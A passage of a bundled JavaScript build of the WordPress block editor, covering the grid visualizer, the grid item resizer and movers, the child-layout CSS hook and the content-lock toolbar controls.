45160 "aria-haspopup": isToggleButton ? "true" : void 0,
45161 "aria-expanded": isToggleButton ? isOpen : void 0,
45162 disabled,
45163 label,
45164 showTooltip: true,
45165 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(icon_default, { icon: plus_default })
45166 }
45167 );
45168 },
45169 isAppender: true
45170 }
45171 );
45172}
45173const ButtonBlockerAppender = (0,external_wp_element_namespaceObject.forwardRef)((props, ref) => {
45174 external_wp_deprecated_default()(`wp.blockEditor.ButtonBlockerAppender`, {
45175 alternative: "wp.blockEditor.ButtonBlockAppender",
45176 since: "5.9"
45177 });
45178 return button_block_appender_ButtonBlockAppender(props, ref);
45179});
45180var button_block_appender_default = (0,external_wp_element_namespaceObject.forwardRef)(button_block_appender_ButtonBlockAppender);
45181
45182
45183;// ./node_modules/@wordpress/block-editor/build-module/components/grid/grid-visualizer.js
45184
45185
45186
45187
45188
45189
45190
45191
45192
45193
45194
45195
45196function GridVisualizer({ clientId, contentRef, parentLayout }) {
45197 const isDistractionFree = (0,external_wp_data_namespaceObject.useSelect)(
45198 (select) => select(store).getSettings().isDistractionFree,
45199 []
45200 );
45201 const gridElement = useBlockElement(clientId);
45202 if (isDistractionFree || !gridElement) {
45203 return null;
45204 }
45205 const isManualGrid = parentLayout?.isManualPlacement && window.__experimentalEnableGridInteractivity;
45206 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45207 GridVisualizerGrid,
45208 {
45209 gridClientId: clientId,
45210 gridElement,
45211 isManualGrid,
45212 ref: contentRef
45213 }
45214 );
45215}
45216const GridVisualizerGrid = (0,external_wp_element_namespaceObject.forwardRef)(
45217 ({ gridClientId, gridElement, isManualGrid }, ref) => {
45218 const [gridInfo, setGridInfo] = (0,external_wp_element_namespaceObject.useState)(
45219 () => getGridInfo(gridElement)
45220 );
45221 const [isDroppingAllowed, setIsDroppingAllowed] = (0,external_wp_element_namespaceObject.useState)(false);
45222 (0,external_wp_element_namespaceObject.useEffect)(() => {
45223 const resizeCallback = () => setGridInfo(getGridInfo(gridElement));
45224 const borderBoxSpy = new window.ResizeObserver(resizeCallback);
45225 borderBoxSpy.observe(gridElement, { box: "border-box" });
45226 const contentBoxSpy = new window.ResizeObserver(resizeCallback);
45227 contentBoxSpy.observe(gridElement);
45228 return () => {
45229 borderBoxSpy.disconnect();
45230 contentBoxSpy.disconnect();
45231 };
45232 }, [gridElement]);
45233 (0,external_wp_element_namespaceObject.useEffect)(() => {
45234 function onGlobalDrag() {
45235 setIsDroppingAllowed(true);
45236 }
45237 function onGlobalDragEnd() {
45238 setIsDroppingAllowed(false);
45239 }
45240 document.addEventListener("drag", onGlobalDrag);
45241 document.addEventListener("dragend", onGlobalDragEnd);
45242 return () => {
45243 document.removeEventListener("drag", onGlobalDrag);
45244 document.removeEventListener("dragend", onGlobalDragEnd);
45245 };
45246 }, []);
45247 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45248 cover_default,
45249 {
45250 className: dist_clsx("block-editor-grid-visualizer", {
45251 "is-dropping-allowed": isDroppingAllowed
45252 }),
45253 clientId: gridClientId,
45254 __unstablePopoverSlot: "__unstable-block-tools-after",
45255 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45256 "div",
45257 {
45258 ref,
45259 className: "block-editor-grid-visualizer__grid",
45260 style: gridInfo.style,
45261 children: isManualGrid ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45262 ManualGridVisualizer,
45263 {
45264 gridClientId,
45265 gridInfo
45266 }
45267 ) : Array.from({ length: gridInfo.numItems }, (_, i) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45268 GridVisualizerCell,
45269 {
45270 color: gridInfo.currentColor
45271 },
45272 i
45273 ))
45274 }
45275 )
45276 }
45277 );
45278 }
45279);
45280function ManualGridVisualizer({ gridClientId, gridInfo }) {
45281 const [highlightedRect, setHighlightedRect] = (0,external_wp_element_namespaceObject.useState)(null);
45282 const gridItemStyles = (0,external_wp_data_namespaceObject.useSelect)(
45283 (select) => {
45284 const { getBlockOrder, getBlockStyles } = unlock(
45285 select(store)
45286 );
45287 const blockOrder = getBlockOrder(gridClientId);
45288 return getBlockStyles(blockOrder);
45289 },
45290 [gridClientId]
45291 );
45292 const occupiedRects = (0,external_wp_element_namespaceObject.useMemo)(() => {
45293 const rects = [];
45294 for (const style of Object.values(gridItemStyles)) {
45295 const {
45296 columnStart,
45297 rowStart,
45298 columnSpan = 1,
45299 rowSpan = 1
45300 } = style?.layout ?? {};
45301 if (!columnStart || !rowStart) {
45302 continue;
45303 }
45304 rects.push(
45305 new GridRect({
45306 columnStart,
45307 rowStart,
45308 columnSpan,
45309 rowSpan
45310 })
45311 );
45312 }
45313 return rects;
45314 }, [gridItemStyles]);
45315 return range(1, gridInfo.numRows).map(
45316 (row) => range(1, gridInfo.numColumns).map((column) => {
45317 const isCellOccupied = occupiedRects.some(
45318 (rect) => rect.contains(column, row)
45319 );
45320 const isHighlighted = highlightedRect?.contains(column, row) ?? false;
45321 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45322 GridVisualizerCell,
45323 {
45324 color: gridInfo.currentColor,
45325 className: isHighlighted && "is-highlighted",
45326 children: isCellOccupied ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45327 GridVisualizerDropZone,
45328 {
45329 column,
45330 row,
45331 gridClientId,
45332 gridInfo,
45333 setHighlightedRect
45334 }
45335 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45336 GridVisualizerAppender,
45337 {
45338 column,
45339 row,
45340 gridClientId,
45341 gridInfo,
45342 setHighlightedRect
45343 }
45344 )
45345 },
45346 `${row}-${column}`
45347 );
45348 })
45349 );
45350}
45351function GridVisualizerCell({ color, children, className }) {
45352 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45353 "div",
45354 {
45355 className: dist_clsx(
45356 "block-editor-grid-visualizer__cell",
45357 className
45358 ),
45359 style: {
45360 boxShadow: `inset 0 0 0 1px color-mix(in srgb, ${color} 20%, #0000)`,
45361 color
45362 },
45363 children
45364 }
45365 );
45366}
45367function useGridVisualizerDropZone(column, row, gridClientId, gridInfo, setHighlightedRect) {
45368 const {
45369 getBlockAttributes,
45370 getBlockRootClientId,
45371 canInsertBlockType,
45372 getBlockName
45373 } = (0,external_wp_data_namespaceObject.useSelect)(store);
45374 const {
45375 updateBlockAttributes,
45376 moveBlocksToPosition,
45377 __unstableMarkNextChangeAsNotPersistent
45378 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
45379 const getNumberOfBlocksBeforeCell = useGetNumberOfBlocksBeforeCell(
45380 gridClientId,
45381 gridInfo.numColumns
45382 );
45383 return useDropZoneWithValidation({
45384 validateDrag(srcClientId) {
45385 const blockName = getBlockName(srcClientId);
45386 if (!canInsertBlockType(blockName, gridClientId)) {
45387 return false;
45388 }
45389 const attributes = getBlockAttributes(srcClientId);
45390 const rect = new GridRect({
45391 columnStart: column,
45392 rowStart: row,
45393 columnSpan: attributes.style?.layout?.columnSpan,
45394 rowSpan: attributes.style?.layout?.rowSpan
45395 });
45396 const isInBounds = new GridRect({
45397 columnSpan: gridInfo.numColumns,
45398 rowSpan: gridInfo.numRows
45399 }).containsRect(rect);
45400 return isInBounds;
45401 },
45402 onDragEnter(srcClientId) {
45403 const attributes = getBlockAttributes(srcClientId);
45404 setHighlightedRect(
45405 new GridRect({
45406 columnStart: column,
45407 rowStart: row,
45408 columnSpan: attributes.style?.layout?.columnSpan,
45409 rowSpan: attributes.style?.layout?.rowSpan
45410 })
45411 );
45412 },
45413 onDragLeave() {
45414 setHighlightedRect(
45415 (prevHighlightedRect) => prevHighlightedRect?.columnStart === column && prevHighlightedRect?.rowStart === row ? null : prevHighlightedRect
45416 );
45417 },
45418 onDrop(srcClientId) {
45419 setHighlightedRect(null);
45420 const attributes = getBlockAttributes(srcClientId);
45421 updateBlockAttributes(srcClientId, {
45422 style: {
45423 ...attributes.style,
45424 layout: {
45425 ...attributes.style?.layout,
45426 columnStart: column,
45427 rowStart: row
45428 }
45429 }
45430 });
45431 __unstableMarkNextChangeAsNotPersistent();
45432 moveBlocksToPosition(
45433 [srcClientId],
45434 getBlockRootClientId(srcClientId),
45435 gridClientId,
45436 getNumberOfBlocksBeforeCell(column, row)
45437 );
45438 }
45439 });
45440}
45441function GridVisualizerDropZone({
45442 column,
45443 row,
45444 gridClientId,
45445 gridInfo,
45446 setHighlightedRect
45447}) {
45448 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45449 "div",
45450 {
45451 className: "block-editor-grid-visualizer__drop-zone",
45452 ref: useGridVisualizerDropZone(
45453 column,
45454 row,
45455 gridClientId,
45456 gridInfo,
45457 setHighlightedRect
45458 )
45459 }
45460 );
45461}
45462function GridVisualizerAppender({
45463 column,
45464 row,
45465 gridClientId,
45466 gridInfo,
45467 setHighlightedRect
45468}) {
45469 const {
45470 updateBlockAttributes,
45471 moveBlocksToPosition,
45472 __unstableMarkNextChangeAsNotPersistent
45473 } = (0,external_wp_data_namespaceObject.useDispatch)(store);
45474 const getNumberOfBlocksBeforeCell = useGetNumberOfBlocksBeforeCell(
45475 gridClientId,
45476 gridInfo.numColumns
45477 );
45478 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45479 button_block_appender_default,
45480 {
45481 rootClientId: gridClientId,
45482 className: "block-editor-grid-visualizer__appender",
45483 ref: useGridVisualizerDropZone(
45484 column,
45485 row,
45486 gridClientId,
45487 gridInfo,
45488 setHighlightedRect
45489 ),
45490 style: {
45491 color: gridInfo.currentColor
45492 },
45493 onSelect: (block) => {
45494 if (!block) {
45495 return;
45496 }
45497 updateBlockAttributes(block.clientId, {
45498 style: {
45499 layout: {
45500 columnStart: column,
45501 rowStart: row
45502 }
45503 }
45504 });
45505 __unstableMarkNextChangeAsNotPersistent();
45506 moveBlocksToPosition(
45507 [block.clientId],
45508 gridClientId,
45509 gridClientId,
45510 getNumberOfBlocksBeforeCell(column, row)
45511 );
45512 }
45513 }
45514 );
45515}
45516function useDropZoneWithValidation({
45517 validateDrag,
45518 onDragEnter,
45519 onDragLeave,
45520 onDrop
45521}) {
45522 const { getDraggedBlockClientIds } = (0,external_wp_data_namespaceObject.useSelect)(store);
45523 return (0,external_wp_compose_namespaceObject.__experimentalUseDropZone)({
45524 onDragEnter() {
45525 const [srcClientId] = getDraggedBlockClientIds();
45526 if (srcClientId && validateDrag(srcClientId)) {
45527 onDragEnter(srcClientId);
45528 }
45529 },
45530 onDragLeave() {
45531 onDragLeave();
45532 },
45533 onDrop() {
45534 const [srcClientId] = getDraggedBlockClientIds();
45535 if (srcClientId && validateDrag(srcClientId)) {
45536 onDrop(srcClientId);
45537 }
45538 }
45539 });
45540}
45541
45542
45543;// ./node_modules/@wordpress/block-editor/build-module/components/grid/grid-item-resizer.js
45544
45545
45546
45547
45548
45549
45550function GridItemResizer({
45551 clientId,
45552 bounds,
45553 onChange,
45554 parentLayout
45555}) {
45556 const blockElement = useBlockElement(clientId);
45557 const rootBlockElement = blockElement?.parentElement;
45558 const { isManualPlacement } = parentLayout;
45559 if (!blockElement || !rootBlockElement) {
45560 return null;
45561 }
45562 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45563 GridItemResizerInner,
45564 {
45565 clientId,
45566 bounds,
45567 blockElement,
45568 rootBlockElement,
45569 onChange,
45570 isManualGrid: isManualPlacement && window.__experimentalEnableGridInteractivity
45571 }
45572 );
45573}
45574function GridItemResizerInner({
45575 clientId,
45576 bounds,
45577 blockElement,
45578 rootBlockElement,
45579 onChange,
45580 isManualGrid
45581}) {
45582 const [resizeDirection, setResizeDirection] = (0,external_wp_element_namespaceObject.useState)(null);
45583 const [enableSide, setEnableSide] = (0,external_wp_element_namespaceObject.useState)({
45584 top: false,
45585 bottom: false,
45586 left: false,
45587 right: false
45588 });
45589 (0,external_wp_element_namespaceObject.useEffect)(() => {
45590 const observer = new window.ResizeObserver(() => {
45591 const blockClientRect = blockElement.getBoundingClientRect();
45592 const rootBlockClientRect = rootBlockElement.getBoundingClientRect();
45593 setEnableSide({
45594 top: blockClientRect.top > rootBlockClientRect.top,
45595 bottom: blockClientRect.bottom < rootBlockClientRect.bottom,
45596 left: blockClientRect.left > rootBlockClientRect.left,
45597 right: blockClientRect.right < rootBlockClientRect.right
45598 });
45599 });
45600 observer.observe(blockElement);
45601 return () => observer.disconnect();
45602 }, [blockElement, rootBlockElement]);
45603 const justification = {
45604 right: "left",
45605 left: "right"
45606 };
45607 const alignment = {
45608 top: "flex-end",
45609 bottom: "flex-start"
45610 };
45611 const styles = {
45612 display: "flex",
45613 justifyContent: "center",
45614 alignItems: "center",
45615 ...justification[resizeDirection] && {
45616 justifyContent: justification[resizeDirection]
45617 },
45618 ...alignment[resizeDirection] && {
45619 alignItems: alignment[resizeDirection]
45620 }
45621 };
45622 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45623 cover_default,
45624 {
45625 className: "block-editor-grid-item-resizer",
45626 clientId,
45627 __unstablePopoverSlot: "__unstable-block-tools-after",
45628 additionalStyles: styles,
45629 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45630 external_wp_components_namespaceObject.ResizableBox,
45631 {
45632 className: "block-editor-grid-item-resizer__box",
45633 size: {
45634 width: "100%",
45635 height: "100%"
45636 },
45637 enable: {
45638 bottom: enableSide.bottom,
45639 bottomLeft: false,
45640 bottomRight: false,
45641 left: enableSide.left,
45642 right: enableSide.right,
45643 top: enableSide.top,
45644 topLeft: false,
45645 topRight: false
45646 },
45647 bounds,
45648 boundsByDirection: true,
45649 onPointerDown: ({ target, pointerId }) => {
45650 target.setPointerCapture(pointerId);
45651 },
45652 onResizeStart: (event, direction) => {
45653 setResizeDirection(direction);
45654 },
45655 onResizeStop: (event, direction, boxElement) => {
45656 const columnGap = parseFloat(
45657 utils_getComputedCSS(rootBlockElement, "column-gap")
45658 );
45659 const rowGap = parseFloat(
45660 utils_getComputedCSS(rootBlockElement, "row-gap")
45661 );
45662 const gridColumnTracks = getGridTracks(
45663 utils_getComputedCSS(
45664 rootBlockElement,
45665 "grid-template-columns"
45666 ),
45667 columnGap
45668 );
45669 const gridRowTracks = getGridTracks(
45670 utils_getComputedCSS(
45671 rootBlockElement,
45672 "grid-template-rows"
45673 ),
45674 rowGap
45675 );
45676 const rect = new window.DOMRect(
45677 blockElement.offsetLeft + boxElement.offsetLeft,
45678 blockElement.offsetTop + boxElement.offsetTop,
45679 boxElement.offsetWidth,
45680 boxElement.offsetHeight
45681 );
45682 const columnStart = getClosestTrack(gridColumnTracks, rect.left) + 1;
45683 const rowStart = getClosestTrack(gridRowTracks, rect.top) + 1;
45684 const columnEnd = getClosestTrack(gridColumnTracks, rect.right, "end") + 1;
45685 const rowEnd = getClosestTrack(gridRowTracks, rect.bottom, "end") + 1;
45686 onChange({
45687 columnSpan: columnEnd - columnStart + 1,
45688 rowSpan: rowEnd - rowStart + 1,
45689 columnStart: isManualGrid ? columnStart : void 0,
45690 rowStart: isManualGrid ? rowStart : void 0
45691 });
45692 }
45693 }
45694 )
45695 }
45696 );
45697}
45698
45699
45700;// ./node_modules/@wordpress/icons/build-module/library/chevron-up.js
45701
45702
45703var chevron_up_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6.5 12.4L12 8l5.5 4.4-.9 1.2L12 10l-4.5 3.6-1-1.2z" }) });
45704
45705
45706;// ./node_modules/@wordpress/icons/build-module/library/chevron-down.js
45707
45708
45709var chevron_down_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M17.5 11.6L12 16l-5.5-4.4.9-1.2L12 14l4.5-3.6 1 1.2z" }) });
45710
45711
45712;// ./node_modules/@wordpress/block-editor/build-module/components/grid/grid-item-movers.js
45713
45714
45715
45716
45717
45718
45719
45720
45721
45722
45723function GridItemMovers({
45724 layout,
45725 parentLayout,
45726 onChange,
45727 gridClientId,
45728 blockClientId
45729}) {
45730 const { moveBlocksToPosition, __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(store);
45731 const columnStart = layout?.columnStart ?? 1;
45732 const rowStart = layout?.rowStart ?? 1;
45733 const columnSpan = layout?.columnSpan ?? 1;
45734 const rowSpan = layout?.rowSpan ?? 1;
45735 const columnEnd = columnStart + columnSpan - 1;
45736 const rowEnd = rowStart + rowSpan - 1;
45737 const columnCount = parentLayout?.columnCount;
45738 const rowCount = parentLayout?.rowCount;
45739 const getNumberOfBlocksBeforeCell = useGetNumberOfBlocksBeforeCell(
45740 gridClientId,
45741 columnCount
45742 );
45743 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "parent", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.ToolbarGroup, { className: "block-editor-grid-item-mover__move-button-container", children: [
45744 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-grid-item-mover__move-horizontal-button-container is-left", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45745 GridItemMover,
45746 {
45747 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_right_default : chevron_left_default,
45748 label: (0,external_wp_i18n_namespaceObject.__)("Move left"),
45749 description: (0,external_wp_i18n_namespaceObject.__)("Move left"),
45750 isDisabled: columnStart <= 1,
45751 onClick: () => {
45752 onChange({
45753 columnStart: columnStart - 1
45754 });
45755 __unstableMarkNextChangeAsNotPersistent();
45756 moveBlocksToPosition(
45757 [blockClientId],
45758 gridClientId,
45759 gridClientId,
45760 getNumberOfBlocksBeforeCell(
45761 columnStart - 1,
45762 rowStart
45763 )
45764 );
45765 }
45766 }
45767 ) }),
45768 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-grid-item-mover__move-vertical-button-container", children: [
45769 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45770 GridItemMover,
45771 {
45772 className: "is-up-button",
45773 icon: chevron_up_default,
45774 label: (0,external_wp_i18n_namespaceObject.__)("Move up"),
45775 description: (0,external_wp_i18n_namespaceObject.__)("Move up"),
45776 isDisabled: rowStart <= 1,
45777 onClick: () => {
45778 onChange({
45779 rowStart: rowStart - 1
45780 });
45781 __unstableMarkNextChangeAsNotPersistent();
45782 moveBlocksToPosition(
45783 [blockClientId],
45784 gridClientId,
45785 gridClientId,
45786 getNumberOfBlocksBeforeCell(
45787 columnStart,
45788 rowStart - 1
45789 )
45790 );
45791 }
45792 }
45793 ),
45794 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45795 GridItemMover,
45796 {
45797 className: "is-down-button",
45798 icon: chevron_down_default,
45799 label: (0,external_wp_i18n_namespaceObject.__)("Move down"),
45800 description: (0,external_wp_i18n_namespaceObject.__)("Move down"),
45801 isDisabled: rowCount && rowEnd >= rowCount,
45802 onClick: () => {
45803 onChange({
45804 rowStart: rowStart + 1
45805 });
45806 __unstableMarkNextChangeAsNotPersistent();
45807 moveBlocksToPosition(
45808 [blockClientId],
45809 gridClientId,
45810 gridClientId,
45811 getNumberOfBlocksBeforeCell(
45812 columnStart,
45813 rowStart + 1
45814 )
45815 );
45816 }
45817 }
45818 )
45819 ] }),
45820 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-grid-item-mover__move-horizontal-button-container is-right", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45821 GridItemMover,
45822 {
45823 icon: (0,external_wp_i18n_namespaceObject.isRTL)() ? chevron_left_default : chevron_right_default,
45824 label: (0,external_wp_i18n_namespaceObject.__)("Move right"),
45825 description: (0,external_wp_i18n_namespaceObject.__)("Move right"),
45826 isDisabled: columnCount && columnEnd >= columnCount,
45827 onClick: () => {
45828 onChange({
45829 columnStart: columnStart + 1
45830 });
45831 __unstableMarkNextChangeAsNotPersistent();
45832 moveBlocksToPosition(
45833 [blockClientId],
45834 gridClientId,
45835 gridClientId,
45836 getNumberOfBlocksBeforeCell(
45837 columnStart + 1,
45838 rowStart
45839 )
45840 );
45841 }
45842 }
45843 ) })
45844 ] }) });
45845}
45846function GridItemMover({
45847 className,
45848 icon,
45849 label,
45850 isDisabled,
45851 onClick,
45852 description
45853}) {
45854 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(GridItemMover);
45855 const descriptionId = `block-editor-grid-item-mover-button__description-${instanceId}`;
45856 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
45857 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45858 external_wp_components_namespaceObject.ToolbarButton,
45859 {
45860 className: dist_clsx(
45861 "block-editor-grid-item-mover-button",
45862 className
45863 ),
45864 icon,
45865 label,
45866 "aria-describedby": descriptionId,
45867 onClick: isDisabled ? null : onClick,
45868 disabled: isDisabled,
45869 accessibleWhenDisabled: true
45870 }
45871 ),
45872 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, { id: descriptionId, children: description })
45873 ] });
45874}
45875
45876
45877;// ./node_modules/@wordpress/block-editor/build-module/hooks/layout-child.js
45878
45879
45880
45881
45882
45883
45884
45885
45886const LAYOUT_CHILD_BLOCK_PROPS_REFERENCE = {};
45887function useBlockPropsChildLayoutStyles({ style }) {
45888 const shouldRenderChildLayoutStyles = (0,external_wp_data_namespaceObject.useSelect)((select) => {
45889 return !select(store).getSettings().disableLayoutStyles;
45890 });
45891 const layout = style?.layout ?? {};
45892 const {
45893 selfStretch,
45894 flexSize,
45895 columnStart,
45896 rowStart,
45897 columnSpan,
45898 rowSpan
45899 } = layout;
45900 const parentLayout = useLayout() || {};
45901 const { columnCount, minimumColumnWidth } = parentLayout;
45902 const id = (0,external_wp_compose_namespaceObject.useInstanceId)(LAYOUT_CHILD_BLOCK_PROPS_REFERENCE);
45903 const selector = `.wp-container-content-${id}`;
45904 if (false) {}
45905 let css = "";
45906 if (shouldRenderChildLayoutStyles) {
45907 if (selfStretch === "fixed" && flexSize) {
45908 css = `${selector} {
45909 flex-basis: ${flexSize};
45910 box-sizing: border-box;
45911 }`;
45912 } else if (selfStretch === "fill") {
45913 css = `${selector} {
45914 flex-grow: 1;
45915 }`;
45916 } else if (columnStart && columnSpan) {
45917 css = `${selector} {
45918 grid-column: ${columnStart} / span ${columnSpan};
45919 }`;
45920 } else if (columnStart) {
45921 css = `${selector} {
45922 grid-column: ${columnStart};
45923 }`;
45924 } else if (columnSpan) {
45925 css = `${selector} {
45926 grid-column: span ${columnSpan};
45927 }`;
45928 }
45929 if (rowStart && rowSpan) {
45930 css += `${selector} {
45931 grid-row: ${rowStart} / span ${rowSpan};
45932 }`;
45933 } else if (rowStart) {
45934 css += `${selector} {
45935 grid-row: ${rowStart};
45936 }`;
45937 } else if (rowSpan) {
45938 css += `${selector} {
45939 grid-row: span ${rowSpan};
45940 }`;
45941 }
45942 if ((columnSpan || columnStart) && (minimumColumnWidth || !columnCount)) {
45943 let parentColumnValue = parseFloat(minimumColumnWidth);
45944 if (isNaN(parentColumnValue)) {
45945 parentColumnValue = 12;
45946 }
45947 let parentColumnUnit = minimumColumnWidth?.replace(
45948 parentColumnValue,
45949 ""
45950 );
45951 if (!["px", "rem", "em"].includes(parentColumnUnit)) {
45952 parentColumnUnit = "rem";
45953 }
45954 let numColsToBreakAt = 2;
45955 if (columnSpan && columnStart) {
45956 numColsToBreakAt = columnSpan + columnStart - 1;
45957 } else if (columnSpan) {
45958 numColsToBreakAt = columnSpan;
45959 } else {
45960 numColsToBreakAt = columnStart;
45961 }
45962 const defaultGapValue = parentColumnUnit === "px" ? 24 : 1.5;
45963 const containerQueryValue = numColsToBreakAt * parentColumnValue + (numColsToBreakAt - 1) * defaultGapValue;
45964 const minimumContainerQueryValue = parentColumnValue * 2 + defaultGapValue - 1;
45965 const gridColumnValue = columnSpan && columnSpan > 1 ? "1/-1" : "auto";
45966 css += `@container (max-width: ${Math.max(
45967 containerQueryValue,
45968 minimumContainerQueryValue
45969 )}${parentColumnUnit}) {
45970 ${selector} {
45971 grid-column: ${gridColumnValue};
45972 grid-row: auto;
45973 }
45974 }`;
45975 }
45976 }
45977 useStyleOverride({ css });
45978 if (!css) {
45979 return;
45980 }
45981 return { className: `wp-container-content-${id}` };
45982}
45983function ChildLayoutControlsPure({ clientId, style, setAttributes }) {
45984 const parentLayout = useLayout() || {};
45985 const {
45986 type: parentLayoutType = "default",
45987 allowSizingOnChildren = false,
45988 isManualPlacement
45989 } = parentLayout;
45990 if (parentLayoutType !== "grid") {
45991 return null;
45992 }
45993 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
45994 GridTools,
45995 {
45996 clientId,
45997 style,
45998 setAttributes,
45999 allowSizingOnChildren,
46000 isManualPlacement,
46001 parentLayout
46002 }
46003 );
46004}
46005function GridTools({
46006 clientId,
46007 style,
46008 setAttributes,
46009 allowSizingOnChildren,
46010 isManualPlacement,
46011 parentLayout
46012}) {
46013 const { rootClientId, isVisible } = (0,external_wp_data_namespaceObject.useSelect)(
46014 (select) => {
46015 const {
46016 getBlockRootClientId,
46017 getBlockEditingMode,
46018 getTemplateLock
46019 } = select(store);
46020 const _rootClientId = getBlockRootClientId(clientId);
46021 if (getTemplateLock(_rootClientId) || getBlockEditingMode(_rootClientId) !== "default") {
46022 return {
46023 rootClientId: _rootClientId,
46024 isVisible: false
46025 };
46026 }
46027 return {
46028 rootClientId: _rootClientId,
46029 isVisible: true
46030 };
46031 },
46032 [clientId]
46033 );
46034 const [resizerBounds, setResizerBounds] = (0,external_wp_element_namespaceObject.useState)();
46035 if (!isVisible) {
46036 return null;
46037 }
46038 function updateLayout(layout) {
46039 setAttributes({
46040 style: {
46041 ...style,
46042 layout: {
46043 ...style?.layout,
46044 ...layout
46045 }
46046 }
46047 });
46048 }
46049 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
46050 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46051 GridVisualizer,
46052 {
46053 clientId: rootClientId,
46054 contentRef: setResizerBounds,
46055 parentLayout
46056 }
46057 ),
46058 allowSizingOnChildren && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46059 GridItemResizer,
46060 {
46061 clientId,
46062 bounds: resizerBounds,
46063 onChange: updateLayout,
46064 parentLayout
46065 }
46066 ),
46067 isManualPlacement && window.__experimentalEnableGridInteractivity && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
46068 GridItemMovers,
46069 {
46070 layout: style?.layout,
46071 parentLayout,
46072 onChange: updateLayout,
46073 gridClientId: rootClientId,
46074 blockClientId: clientId
46075 }
46076 )
46077 ] });
46078}
46079var layout_child_default = {
46080 useBlockProps: useBlockPropsChildLayoutStyles,
46081 edit: ChildLayoutControlsPure,
46082 attributeKeys: ["style"],
46083 hasSupport() {
46084 return true;
46085 }
46086};
46087
46088
46089;// ./node_modules/@wordpress/block-editor/build-module/hooks/content-lock-ui.js
46090
46091
46092
46093
46094
46095
46096
46097
46098function ContentLockControlsPure({ clientId }) {
46099 const { templateLock, isLockedByParent, isEditingAsBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
46100 (select) => {
46101 const {
46102 getContentLockingParent,
46103 getTemplateLock,
46104 getTemporarilyEditingAsBlocks
46105 } = unlock(select(store));
46106 return {
46107 templateLock: getTemplateLock(clientId),
46108 isLockedByParent: !!getContentLockingParent(clientId),
46109 isEditingAsBlocks: getTemporarilyEditingAsBlocks() === clientId
46110 };
46111 },
46112 [clientId]
46113 );
46114 const { stopEditingAsBlocks } = unlock((0,external_wp_data_namespaceObject.useDispatch)(store));
46115 const isContentLocked = !isLockedByParent && templateLock === "contentOnly";
46116 const stopEditingAsBlockCallback = (0,external_wp_element_namespaceObject.useCallback)(() => {
46117 stopEditingAsBlocks(clientId);
46118 }, [clientId, stopEditingAsBlocks]);
46119 if (!isContentLocked && !isEditingAsBlocks) {
46120 return null;
46121 }
46122 const showStopEditingAsBlocks = isEditingAsBlocks && !isContentLocked;
46123 return showStopEditingAsBlocks && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_controls_default, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarButton, { onClick: stopEditingAsBlockCallback, children: (0,external_wp_i18n_namespaceObject.__)("Done") }) });
46124}
46125var content_lock_ui_default = {
46126 edit: ContentLockControlsPure,
46127 hasSupport() {
46128 return true;
46129 }
46130};
46131
